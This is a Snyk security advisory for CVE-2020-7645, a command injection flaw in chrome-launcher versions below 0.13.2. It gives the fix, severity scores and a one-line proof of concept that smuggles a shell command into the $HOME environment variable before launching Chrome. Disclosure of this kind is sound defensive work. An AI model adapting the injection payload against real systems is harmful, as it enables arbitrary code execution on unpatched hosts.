

Command Injection

Affecting [chrome-launcher](#) package, versions <0.13.2

INTRODUCED: 10 DEC 2019 [CVE-2020-7645](#) [CWE-78](#) [FIRST ADDED BY SNYK](#) [Share](#)

How to fix?

Upgrade `chrome-launcher` to version 0.13.2 or higher.

Overview

`chrome-launcher` is a library to launch Google Chrome with ease from node.

Affected versions of this package are vulnerable to Command Injection. By controlling the `$HOME` environment variable in Linux operating systems, an attacker can execute arbitrary code.

PoC:

```
var malicious_code = '% touch malicious_file &'; process.env.HOME += "/" + malicious_code; var Root = require("chrome-launcher"); Root.launch();
```

PRODUCT

[Snyk Open Source](#)

[Snyk Code](#)

[Snyk Container](#)

[Snyk Infrastructure as Code](#)

[Test with Github](#)

[Test with CLI](#)

RESOURCES

[Vulnerability DB](#)

[Documentation](#)

[Disclosed Vulnerabilities](#)

[Blog](#)

[FAQs](#)

COMPANY

HIGH

Search by package name or CVE

Snyk CVSS

Exploit Maturity	Proof of concept
Attack Complexity	High
Confidentiality	HIGH
Integrity	HIGH
Availability	HIGH

[See more](#)

> NVD 9.8 CRITICAL

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

[Test your applications](#)

Snyk ID	SNYK-JS-CHROMELAUNCHER-537575
Published	11 Dec 2019
Disclosed	10 Dec 2019
Credit	JHU System Security Lab

[Report a new vulnerability](#) [Found a mistake?](#)

[About](#)
[Jobs](#)
[Contact](#)
[Policies](#)
[Do Not Sell My Personal Information](#)

CONTACT US

[Support](#)
[Report a new vuln](#)
[Press Kit](#)
[Events](#)

FIND US ONLINE

TRACK OUR DEVELOPMENT



© 2022 Snyk Limited

Registered in England and Wales. Company number: 09677925

Registered address: Highlands House, Basingstoke Road, Spencers Wood, Reading, Berkshire, RG7 1NT.